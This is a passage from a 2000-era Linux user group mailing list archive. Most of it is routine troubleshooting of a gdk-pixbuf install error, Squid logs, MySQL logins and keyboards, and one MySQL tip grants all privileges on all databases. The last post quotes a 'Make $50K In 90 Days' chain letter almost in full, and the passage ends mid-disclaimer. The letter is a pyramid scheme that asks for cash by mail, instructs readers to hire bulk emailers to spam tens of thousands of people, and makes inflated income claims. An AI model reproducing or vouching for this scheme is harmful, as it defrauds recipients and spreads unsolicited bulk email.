Evidently I am mistaken.} > > > Can anyone shed some light on my weary mind? > > BTW: I am trying to install eucalyptus, a gui based gnome mail client > that handles MIME types. Thnks. > > - Jamie > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list I would try any or all of the following: -look for a gdk-pixbuf-devel package >= 0.4 and install that as well -run ldconfig to make sure ld knows about the new lib versions -check the options to configure and see if you can tell it the path to gdk-pixbuf; it might be looking in /var/foo/silly_path/myGDKfiles/warez, you never know -if configure isn't configured to configure that option, crack open the Makefile and check it out there -curse loudly, creatively, foully and long -have a beer and try again. -- <----------------------------------------------------------------------> Chris H. Bidler cbidler@talkware.net Associate Engineer, Applications Group Universal Talkware Corp. "In any event, is a O^(log N) search that returns the wrong answer really better than an O^N search that returns the right answer?" <----------------------------------------------------------------------> From mbresnahan1 at mmm.com Mon Dec 4 15:21:14 2000 From: mbresnahan1 at mmm.com (Michael Bresnahan) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Re: [TCLUG:23887] Gnome library enigma References: Message-ID: <3A2C0ACA.9C193381@mmm.com> Look at the configure script and find where it is looking for the gdk-pixbuf library. Make sure that where it is looking is where the library is installed. If the two do not correlate, change one of them. If you're not into reading shell scripts, post the configure script so that someone on the list can read it. Mike Bresnahan ---- Jamie Ostrowski wrote: > I am trying to install a program. When I run ./configure, I get this > message, then the configure process stops: > > checking for gdk-pixbuf >= 0.4... configure: error: not > found.\nEucalyptus requires gdk-pixbuf version 0.4 or higher. > > I went out on the net and I downloaded the file: > > gdk-pixbuf-0.6.0-1.i586.rpm > > and I installed it in this fashion: > > [root@redeye jamie]# rpm -Uvh gdk-pixbuf-0.6.0-1.i586.rpm > > Rpm seemed to install it fine. Gave me the nice graph as it did it's > work. Hmmm...I thought, that was easy enough. Now I will simply run > ./configure again and I am certain it will work as I intend it to... > > I get the SAME error! > > {In my mind, I am assuming that by running the rpm for that package, > and since I found no further instructions associated with it, that it > would install whatever libraries I need. Evidently I am mistaken.} > > Can anyone shed some light on my weary mind? > > BTW: I am trying to install eucalyptus, a gui based gnome mail client > that handles MIME types. Thnks. > > - Jamie > > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org > For additional commands, e-mail: tclug-list-help@mn-linux.org From austad at marketwatch.com Mon Dec 4 15:48:03 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Re: [TCLUG:23887] Gnome library enigma Message-ID: I had the same problem with another program I was trying to compile. You need to find gdk-pixbuf-devel-0.6.0-1.i386.rpm http://rpmfind.net > -----Original Message----- > From: Michael Bresnahan [mailto:mbresnahan1@mmm.com] > Sent: Monday, December 04, 2000 3:21 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] Re: [TCLUG:23887] Gnome library enigma > > > Look at the configure script and find where it is looking for > the gdk-pixbuf > library. Make sure that where it is looking is where the library is > installed. If the two do not correlate, change one of them. > If you're not > into reading shell scripts, post the configure script so that > someone on the > list can read it. > > Mike Bresnahan > ---- > Jamie Ostrowski wrote: > > > I am trying to install a program. When I run > ./configure, I get this > > message, then the configure process stops: > > > > checking for gdk-pixbuf >= 0.4... configure: error: not > > found.\nEucalyptus requires gdk-pixbuf version 0.4 or higher. > > > > I went out on the net and I downloaded the file: > > > > gdk-pixbuf-0.6.0-1.i586.rpm > > > > and I installed it in this fashion: > > > > [root@redeye jamie]# rpm -Uvh gdk-pixbuf-0.6.0-1.i586.rpm > > > > Rpm seemed to install it fine. Gave me the nice graph as > it did it's > > work. Hmmm...I thought, that was easy enough. Now I will simply run > > ./configure again and I am certain it will work as I intend it to... > > > > I get the SAME error! > > > > {In my mind, I am assuming that by running the rpm for > that package, > > and since I found no further instructions associated with > it, that it > > would install whatever libraries I need. Evidently I am mistaken.} > > > > Can anyone shed some light on my weary mind? > > > > BTW: I am trying to install eucalyptus, a gui based > gnome mail client > > that handles MIME types. Thnks. > > > > - Jamie > > > > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org > > For additional commands, e-mail: tclug-list-help@mn-linux.org > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Mon Dec 4 15:48:03 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Re: [TCLUG:23887] Gnome library enigma Message-ID: I had the same problem with another program I was trying to compile. You need to find gdk-pixbuf-devel-0.6.0-1.i386.rpm http://rpmfind.net > -----Original Message----- > From: Michael Bresnahan [mailto:mbresnahan1@mmm.com] > Sent: Monday, December 04, 2000 3:21 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] Re: [TCLUG:23887] Gnome library enigma > > > Look at the configure script and find where it is looking for > the gdk-pixbuf > library. Make sure that where it is looking is where the library is > installed. If the two do not correlate, change one of them. > If you're not > into reading shell scripts, post the configure script so that > someone on the > list can read it. > > Mike Bresnahan > ---- > Jamie Ostrowski wrote: > > > I am trying to install a program. When I run > ./configure, I get this > > message, then the configure process stops: > > > > checking for gdk-pixbuf >= 0.4... configure: error: not > > found.\nEucalyptus requires gdk-pixbuf version 0.4 or higher. > > > > I went out on the net and I downloaded the file: > > > > gdk-pixbuf-0.6.0-1.i586.rpm > > > > and I installed it in this fashion: > > > > [root@redeye jamie]# rpm -Uvh gdk-pixbuf-0.6.0-1.i586.rpm > > > > Rpm seemed to install it fine. Gave me the nice graph as > it did it's > > work. Hmmm...I thought, that was easy enough. Now I will simply run > > ./configure again and I am certain it will work as I intend it to... > > > > I get the SAME error! > > > > {In my mind, I am assuming that by running the rpm for > that package, > > and since I found no further instructions associated with > it, that it > > would install whatever libraries I need. Evidently I am mistaken.} > > > > Can anyone shed some light on my weary mind? > > > > BTW: I am trying to install eucalyptus, a gui based > gnome mail client > > that handles MIME types. Thnks. > > > > - Jamie > > > > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org > > For additional commands, e-mail: tclug-list-help@mn-linux.org > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andyzb at ltiflex.com Mon Dec 4 16:29:29 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Squid log analysis Message-ID: <3A2C1AC9.B7B0FA12@ltiflex.com> I just finished setting up webalizer to analize squid's logfiles. To get it working I grabbed squid2common.pl ( http://www.unimelb.edu.au/pwebstats/squid2common.pl ) and set it up in cron to run before webalizer. I thought webalizer supported squids logfiles without extra help but couldn't find anything in the documentation. For now, this should ge me the information I want. I figured I'd give webalizer a try since I was allrady somewhat familiar with it and it is a package in Debian. But if anyone has any success/horror stories about other packages ( http://www.squid-cache.org/Scripts/ ) I'd love to hear them (along with any recomendations) Since we are using Squid to sorta filter internet sites it would be nice to get a more indepth analysis of sites visited, but for now, webalizer fits the bill. -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From thouck at thouck.com Mon Dec 4 16:39:07 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: Message-ID: I wouldn't say I "swore" by these, but they are quite cheap and I've never had one fail (going on about 4 years at home, and 3 at work). I use Mitsumi keyboards because at first I thought "Hey, they're cheap, if they break, I'll buy a new one." So far, I've never replaced one (although I don't spill stuff on it :) By the way, they cost seven dollars. Timothy On Sun, 3 Dec 2000, Yaron wrote: > Hi all, > > This is a sad, sad story. > > It's apparently winter now, so I've been discharging static electricity at > everything. Makes it REALfun to take apart MBoards/RAM/CPUs. > > Anyway, as I'm sure many of you know, OmniKeys are the best keyboards in > the world. One of the good things about them is that they are heavy as > hell. > > Unfortunetly, this is due to a highly conductive steel frame. > > So, I sit down, reach for the keyboard - and ZAP it to death. > > Yes! I _zapped_ an _OmniKey_ to death. This thing has been around (and in > constant use!) since 1990. It has had tea, coke, water and various > foodstuff dropped into it. It has fallen off desks. It has been used as a > cat bed for several years. NOTHING could kill that keyboard, except > apparently static discharges. > > Oh, it's not COMPLETELY dead. Some keys still work fine. Other, like the B > key for example, do weird things like printing out "*ZXCVBNM<>?" (yeah, > the whole row). Spacebar now toggles CAPSLOCK. Some keys send, in addition > to themselves, an F1. > > I now have ONE working OmniKey, and four that kinda work. Anyone know > somewhere that can fix them? Anyone know of a current keyboard that's even > remotely as decent, save the Avant Stellar which costs WAY too much? Is > eBay my only hope? > > Sadly typing on a REALLY quiet and mushy keyboard, > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From clay at fandre.com Mon Dec 4 16:58:11 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Squid log analysis References: <3A2C1AC9.B7B0FA12@ltiflex.com> Message-ID: <3A2C2183.7B60A51B@fandre.com> I personally prefer Calmaris. A complete list of tools can be found here: http://www.squid-cache.org/Scripts/ Andy Zbikowski wrote: > > I just finished setting up webalizer to analize squid's logfiles. To get it > working I grabbed > squid2common.pl ( http://www.unimelb.edu.au/pwebstats/squid2common.pl ) and > set it up in cron to run before webalizer. I thought webalizer supported > squids logfiles without extra help but couldn't find anything in the > documentation. > > For now, this should ge me the information I want. I figured I'd give > webalizer a try since I was allrady somewhat familiar with it and it is a > package in Debian. But if anyone has any success/horror stories about other > packages ( http://www.squid-cache.org/Scripts/ ) I'd love to hear them > (along with any recomendations) > > Since we are using Squid to sorta filter internet sites it would be nice to > get a more indepth analysis of sites visited, but for now, webalizer fits > the bill. > > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com > LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 > 21801 Industrial Blvd | (FX) 763-428-9126 > Rogers, MN 55374 | (PCS) 612-306-6055 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From tobytoo at black-hole.com Mon Dec 4 17:24:00 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: <00120110103702.00346@Billbob_Linux> Message-ID: <3A2C2790.A58CADAA@black-hole.com> Bite me bill. Bill Layer wrote: > The subject says it all - you know who you are ;) > > I enjoyed it (again) quite a bit, and those present will report that I was > only a little out of hand. Thanks for coming. > > -- > Bill Layer > Sales Technician > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From thouck at thouck.com Mon Dec 4 17:23:27 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Re: [OT] My OmniKey died!!!!!!!!!! In-Reply-To: Message-ID: I'd like to meet the guy who thought of that. On Mon, 4 Dec 2000, Liz Burke-Scovill wrote: > > I've heard that too! Don't remember where, but I think the key was (no pun > intended) to NOT use dishwasher detergent and to run it through a cycle > (probably low heat would be my guess and drip dry) > > Liz > > On Mon, 4 Dec 2000, Michael Town wrote: > > > >anyone know how to clean the accumulated dust & grime off one of these > > >things safely? mine is looking pretty nasty by now. :) > > > > OK, There was a tech at my old job who swore by this. You ready? > > > > Put it in the dishwasher. > > > > I have never needed to do this, but in theory it should work. That, and > > your keyboard will have that lovely lemony detergent smell :) > > > > As I can't tell you if that works, you should test it on a cheap keyboard > > first. > > > > Michael Town > > KB Gear Interactive > > michaeltown@kbgear.com > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > -- > Imagination is intelligence having fun... > e-mail: kethry@winternet.com > URL: http://WWW.winternet.com/~kethry/index.html > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Mon Dec 4 17:24:37 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Re: [OT] My OmniKey died!!!!!!!!!! In-Reply-To: Message-ID: I wash dishes in my sink. Would that work? :) On Mon, 4 Dec 2000, Yaron wrote: > Hi, > > On Mon, 4 Dec 2000, Liz Burke-Scovill wrote: > > > I've heard that too! Don't remember where, but I think the key was (no pun > > intended) to NOT use dishwasher detergent and to run it through a cycle > > (probably low heat would be my guess and drip dry) > > Yeah, since some detergents manage to rust stainless-steel silverware, I'd > avoid them. > > Actually I wouldn't put a keyboard in the dishwasher in the first place, > ecpt maybe for fun (: > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Mon Dec 4 17:26:46 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] php&&mysql In-Reply-To: <01a101c05e02$377a6e90$2d01a8c0@platinumpersonals.com> Message-ID: If you're using PHP (and say, apache), and connecting to a LOCAL mysql database, as in: mysql_connect("localhost", "user", "password") you have to have something like the following in mysql: GRANT ALL ON *.* TO "user"@"localhost" IDENTIFIED BY "password"; Timothy On Mon, 4 Dec 2000, Brett Astleford wrote: > hello all, > > I gotta problem, however this problem wanes between programming & system administration. Here it goes, when I log in mysql I get in fine. But when I try through code, something adds @localhost, example usr@localhost. Mysql doesn't like that @localhost. So is that conf in php, mysql or what??? > > TIA > > Brett Astleford > Platinum Design Group > bastleford@platinumdg.com > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Mon Dec 4 17:26:46 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] php&&mysql In-Reply-To: <01a101c05e02$377a6e90$2d01a8c0@platinumpersonals.com> Message-ID: If you're using PHP (and say, apache), and connecting to a LOCAL mysql database, as in: mysql_connect("localhost", "user", "password") you have to have something like the following in mysql: GRANT ALL ON *.* TO "user"@"localhost" IDENTIFIED BY "password"; Timothy On Mon, 4 Dec 2000, Brett Astleford wrote: > hello all, > > I gotta problem, however this problem wanes between programming & system administration. Here it goes, when I log in mysql I get in fine. But when I try through code, something adds @localhost, example usr@localhost. Mysql doesn't like that @localhost. So is that conf in php, mysql or what??? > > TIA > > Brett Astleford > Platinum Design Group > bastleford@platinumdg.com > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Mon Dec 4 17:28:28 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <3A2BC9AD.EACE636B@mninter.net> Message-ID: Cuz some jackass on my linux system pushes the load so high, my keypress doesn't echo back for about 15 seconds. :) On Mon, 4 Dec 2000, fjorn wrote: > Why do you need a noisey KB to type anyway? Is it to make sure that you know > you're hitting the key? Why not just look at the monitor when typing instead of > your fingers, makes better use of your time. --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From tobytoo at black-hole.com Mon Dec 4 17:38:40 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:13:04 2005 Subject: [TCLUG] MaxPC & Intel References: <200012011638.KAA20074@nitz.hep.umn.edu> <00120312334501.00597@homer> Message-ID: <3A2C2B00.6707A968@black-hole.com> OK now that's just stupid. A celeron has no over clocking potential in the socket 370 form. If they're anything like Max Linux though, they don't do the testing, almost all of the articules are done by"independent journalists" meaning anyone with a word program and an e-mail account. Bill Layer wrote: > > > Ok, I know that MaximumPC magazine is a piece of crap, but has anyone ever > noticed that they seem to be in Intel's pockets? Read the Duron vs. CeleronII > review a couple of months back... I did, and I almost couldn't believe what I > read. > > The Duron beat the same-speed Celly in all but one test - some tests it was > miles ahead. The also mention that the Duron is about 33% cheaper than the > Intel product. Now on to the conclusion, which still baffles me: > > To sum up, they basically said "The Duron is fast, but you might want to > consider buying the Celeron instead, as it has a better overclocking > potential". Did anyone else read this review and get the same impression as I? > > Bill > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From thouck at thouck.com Mon Dec 4 17:40:59 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:04 2005 Subject: [TCLUG] Gnome library enigma In-Reply-To: Message-ID: Instead of ./configure, try: ./configure --help | grep 'gdk-pixbuf' to see if you need to implicitly point the configure script to wherever the gdk-pixbuf RPM installed itself. May be something like: ./configure --with-gdk-pixbuf=/usr/local/lib/gdk-pixbuf Hope this helps! Timothy On Mon, 4 Dec 2000, Jamie Ostrowski wrote: > > > I am trying to install a program. When I run ./configure, I get this > message, then the configure process stops: > > checking for gdk-pixbuf >= 0.4... configure: error: not > found.\nEucalyptus requires gdk-pixbuf version 0.4 or higher. > > I went out on the net and I downloaded the file: > > gdk-pixbuf-0.6.0-1.i586.rpm > > and I installed it in this fashion: > > [root@redeye jamie]# rpm -Uvh gdk-pixbuf-0.6.0-1.i586.rpm > > > Rpm seemed to install it fine. Gave me the nice graph as it did it's > work. Hmmm...I thought, that was easy enough. Now I will simply run > ./configure again and I am certain it will work as I intend it to... > > I get the SAME error! > > {In my mind, I am assuming that by running the rpm for that package, > and since I found no further instructions associated with it, that it > would install whatever libraries I need. Evidently I am mistaken.} > > > Can anyone shed some light on my weary mind? > > BTW: I am trying to install eucalyptus, a gui based gnome mail client > that handles MIME types. Thnks. > > - Jamie > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Mon Dec 4 17:40:59 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] Gnome library enigma In-Reply-To: Message-ID: Instead of ./configure, try: ./configure --help | grep 'gdk-pixbuf' to see if you need to implicitly point the configure script to wherever the gdk-pixbuf RPM installed itself. May be something like: ./configure --with-gdk-pixbuf=/usr/local/lib/gdk-pixbuf Hope this helps! Timothy On Mon, 4 Dec 2000, Jamie Ostrowski wrote: > > > I am trying to install a program. When I run ./configure, I get this > message, then the configure process stops: > > checking for gdk-pixbuf >= 0.4... configure: error: not > found.\nEucalyptus requires gdk-pixbuf version 0.4 or higher. > > I went out on the net and I downloaded the file: > > gdk-pixbuf-0.6.0-1.i586.rpm > > and I installed it in this fashion: > > [root@redeye jamie]# rpm -Uvh gdk-pixbuf-0.6.0-1.i586.rpm > > > Rpm seemed to install it fine. Gave me the nice graph as it did it's > work. Hmmm...I thought, that was easy enough. Now I will simply run > ./configure again and I am certain it will work as I intend it to... > > I get the SAME error! > > {In my mind, I am assuming that by running the rpm for that package, > and since I found no further instructions associated with it, that it > would install whatever libraries I need. Evidently I am mistaken.} > > > Can anyone shed some light on my weary mind? > > BTW: I am trying to install eucalyptus, a gui based gnome mail client > that handles MIME types. Thnks. > > - Jamie > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Mon Dec 4 17:44:11 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: Message-ID: I should clarify. Go to pricewatch.com and enter a search for "mitsumi keyboard". They're the ones listed first. My model is KPQEA4ZA. On Mon, 4 Dec 2000, Timothy Houck wrote: > I wouldn't say I "swore" by these, but they are quite cheap and I've never > had one fail (going on about 4 years at home, and 3 at work). I use > Mitsumi keyboards because at first I thought "Hey, they're cheap, if they > break, I'll buy a new one." So far, I've never replaced one (although I > don't spill stuff on it :) > > By the way, they cost seven dollars. > > Timothy > > On Sun, 3 Dec 2000, Yaron wrote: > > > Hi all, > > > > This is a sad, sad story. > > > > It's apparently winter now, so I've been discharging static electricity at > > everything. Makes it REALfun to take apart MBoards/RAM/CPUs. > > > > Anyway, as I'm sure many of you know, OmniKeys are the best keyboards in > > the world. One of the good things about them is that they are heavy as > > hell. > > > > Unfortunetly, this is due to a highly conductive steel frame. > > > > So, I sit down, reach for the keyboard - and ZAP it to death. > > > > Yes! I _zapped_ an _OmniKey_ to death. This thing has been around (and in > > constant use!) since 1990. It has had tea, coke, water and various > > foodstuff dropped into it. It has fallen off desks. It has been used as a > > cat bed for several years. NOTHING could kill that keyboard, except > > apparently static discharges. > > > > Oh, it's not COMPLETELY dead. Some keys still work fine. Other, like the B > > key for example, do weird things like printing out "*ZXCVBNM<>?" (yeah, > > the whole row). Spacebar now toggles CAPSLOCK. Some keys send, in addition > > to themselves, an F1. > > > > I now have ONE working OmniKey, and four that kinda work. Anyone know > > somewhere that can fix them? Anyone know of a current keyboard that's even > > remotely as decent, save the Avant Stellar which costs WAY too much? Is > > eBay my only hope? > > > > Sadly typing on a REALLY quiet and mushy keyboard, > > > > -Yaron > > > > -- > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > --------------------------------------------------------------------- > Timothy Houck > thouck@thouck.com > www.thouck.com > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From tobytoo at black-hole.com Mon Dec 4 17:47:54 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] Make $50K In 90 Days! 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This is the EASIEST > marketing plan anywhere! It is simply order filling by > email! > > ************************************************************ > ******* The product is informational and instructional > material, keys to the secrets for everyone on how to open > the doors to the magic world of E-COMMERCE , the information > highway, the wave of the future ! > > PLAN SUMMARY: > > (1) You order the 4 reports listed below ($5 each) They come > to you by email. > > (2) Save a copy of this entire letter and put your name > after Report #1 and move the other names down. > > (3) Via the internet, access Yahoo.com or any of the other > major search engines to locate hundreds of bulk email > service companies (search for "bulk email") and have them > send 25,000 - 50,000 emails for you about $49+) > > (4) Orders will come to you by postal mail - simply email > them the Report they ordered. Let me ask you - isn't this > about as easy as it gets? > > ************************************************************ > ******* > > By the way there are over 50 MILLION email addresses with > millions more joining the internet each year so don't worry > about "running out" or "saturation". People are used to > seeing and hearing the same advertisements every day on > radio/TV. How many times have you received the same pizza > flyers on your door? Then one day you are hungry for pizza > and you order one. Same thing with this letter. I received > this lettermany times - then one day I decided it was time > to try it. > > ************************************************************ > ******* > > YOU CAN START TODAY - JUST DO THESE EASY STEPS: > > STEP #1. ORDER THE FOUR REPORTS > > Order the four reports shown on the list below (you can't > sell them if you don't order them). -- For each report, send > $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU ARE > ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & RETURN > ADDRESS (in case of a problem) to the person whose name > appears on the list next to the report. MAKE SURE YOUR > RETURN ADDRESS IS ON YOUR ENVELOPE IN CASE OF ANY MAIL > PROBLEMS! > > Within a few days you will receive, by e-mail, each of the > four reports. Save them on your computer so you can send > them to the 1,000's of people who will order them from you. > > STEP #2. ADD YOUR MAILING ADDRESS TO THIS LETTER a. Look > below for the listing of the four reports. b. After you've > ordered the four reports, delete the name and address under > REPORT #4. This person has made it through the cycle. c. > Move the name and address under REPORT #3 down to REPORT #4. > d. Move the name and address under REPORT #2 down to REPORT > #3. e. Move the name and address under REPORT #1 down to > REPORT #2. f. Insert your name/address in the REPORT #1 > position. Please make sure you COPY ALL INFORMATION, every > name and address, ACCURATELY! > > STEP #3. Take this entire letter, including the modified > list of names, and save it to your computer. Make NO changes > to these instructions. Now you are ready to use this entire > email to send by email to prospects. > > Report #1 will tell you how to download bulk email software > and email addresses so you can send it out to thousands of > people while you sleep! Remember that 50,000+ new people > are joining the internet every month. > > Your cost to participate in this is practically nothing > (surely you can afford $20 and initial bulk mailing cost). > You obviously already have access to a computer and an > Internet connection and e-mail is FREE! > > There are two primary methods of building your downline: > > METHOD #1: SENDING BULK E-MAIL Let's say that you decide to > start small, just to see how it goes, and we'll assume you > and all those involved email out only 2,000 programs each. > Let's also assume that the mailing receives a 0.5% > response. The response could be much better. Also, many > people will email outhundreds of thousands of programs > instead of 2,000 (Why stop at 2000?). But continuing with > this example, you send out only 2,000 programs. With a 0.5% > response, that is only 10 orders for REPORT #1. > > Those 10 people respond by sending out 2,000 programs each > for a total of 20,000. Out of those 0.5%, 100 people > respond and order REPORT #2. Those 100 mail out 2,000 > programs each for a total of 200,000. The 0.5% response to > that is 1,000 orders for REPORT #3. Those 1,000s end out > 2,000 programs each for a 2,000,000 total. The 0.5% > response to that is 10,000 orders for REPORT #4. That's > 10,000 $5 bills for you. CASH!!! Your total income in this > example is $50 + $500 + $5,000 + $50,000 for a total of > $55,550!!! > > REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 > PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS > PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF > EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF > 2,000. Believe me, many people will do just that, and more! > > METHOD #2 - PLACING FREE ADS ON THE INTERNET Advertising on > the internet is very, very inexpensive, and there are > HUNDREDS of FREE places to advertise. Let's say you decide > to start small just to see how well it works. Assume your > goal is to get ONLY 10 people to participate on your first > level. (Placing a lot of FREE ads on the Internet will > EASILY get a larger response.) Also assume that everyone > else in YOUR ORGANIZATION gets ONLY 10 downline members. > Look how this small number accumulates to achieve the > STAGGERING results below: > > 1st level--your first 10 send you $5...............$50 2nd > level--10 members from those 10 ($5 x 100)........$500 3rd > level--10 members from those 100 ($5 x 1,000)........$5,000 > 4th level--10 members from those 1,000 ($5 x > 10,000).......$50,000 > > $$$$$$ THIS TOTALS ----------$55,550 $$$$$$ > > AMAZING ISN'T IT? Remember friends, this assumes that the > people who participate only recruit 10 people each. Think > for a moment what would happen if they got 20 people to > participate! Most people get 100's of participants and many > will continue to work this program, sending out programs > WITH YOUR NAME ON THEM for years! THINK ABOUT IT! > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > People are going to get emails about this plan from you or > somebody else and many will work this plan - the question > is - Don't you want your name to be on the emails they will > send out? > > * * * DON'T MISS OUT!!! * * * JUST TRY IT ONCE!!! * * * > > * * SEE WHAT HAPPENS!!! *** YOU'LL BE AMAZED!!!* * > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS! > > This will guarantee that the e-mail THEY send out with YOUR > name and address on it will be prompt because they can't > advertise until they receive the report! > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > GET STARTED TODAY: PLACE YOUR ORDER FOR THE FOUR REPORTS > NOW. > > Notes: -- ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH > REPORT. CHECKS NOT ACCEPTED. Make sure the cash is concealed > by wrapping it in two sheets of paper. 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Be prompt, professional, and > follow the directions accurately. -- Send for the four > reports IMMEDIATELY so you will have them when the orders > start coming in because: When you receive a $5 order, you > MUST send out the requested product/report. It is required > for this to be a legal business and they need the reports > to send out their letters (with your name on them! > > -- ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU > RECEIVE. -- Be patient and persistent with this program - > If you follow the instructions exactly - results WILL > FOLLOW. $$$$ > > ******* YOUR SUCCESS GUIDELINES ******* > > Follow these guidelines to guarantee your success: If you > don't receive 20 orders for REPORT #1 within two weeks, > continue advertising or sending e-mails until you do. Then, > a couple of weeks later you should receive at least 100 > orders for REPORT#2. If you don't, continue advertising or > sending e-mails until you do. Once you have received 100 or > more orders for REPORT #2, YOU CAN RELAX, because the > system is already working for you, and the cash will > continue to roll in! > > THIS IS IMPORTANT TO REMEMBER: Every time your name is moved > down on the list, you are placed in front of a DIFFERENT > report. You can KEEP TRACK of your PROGRESS by watching > which report people are ordering from you. > > To generate more income, simply send another batch of e- > mails or continue placing ads and start the whole process > again! There is no limit to the income you will generate > from this business! > > Before you make your decision as to whether or not you > participate in this program. Please answer one question. > ARE YOU HAPPY WITH YOUR PRESENT INCOME OR JOB? If the answer > is no, then please look at the following facts about this > super simple MLM program: > > 1. NO face to face selling, NO meetings, NO inventory! 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Take your first step toward achieving financial > independence. > > Order the reports and follow the program outlined above-- > SUCCESS will be your reward. > > Thank you for your time and consideration. > > PLEASE NOTE: If you need help with starting a business, > registering a business name, learning how income tax is > handled, etc., contact your local office of the Small > Business Administration (a Federal Agency)1-800-827-5722 for > free help and answers to questions. > > Also, the Internal Revenue Service offers free help via > telephone and free seminars about business tax reuirements. > Your earnings are highly dependent on your activities and > advertising. The information contained on this site and in > the report constitutes no guarantees stated nor implied. In > the event that it is determined that this site or report > constitutes a guarantee of any kind, that guarantee is now > void. The earnings amounts 